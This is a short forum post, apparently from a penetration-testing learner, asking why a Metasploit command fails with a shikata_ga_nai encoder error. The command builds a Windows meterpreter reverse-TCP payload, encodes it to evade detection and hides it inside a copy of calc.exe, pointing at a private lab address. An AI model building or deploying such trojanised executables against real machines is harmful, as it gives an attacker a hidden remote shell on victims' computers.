Hi guys

Ive been giving this a try ive got

./msfpayload windows/meterpreter/reverse_tcp Lhost=10.0.2.20 lport=4331 r | ./msfencode -c 2 -e x86/shikata_ga_nai -x /root/calc.exe -t exe > /root/calc1.exe

and im getting
[*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)

[-] x86/shikata_ga_nai failed: Offset 0 outside of image source
[-] No encoders succeeded.

have a maybe mistyped something Im missing ?

Thanks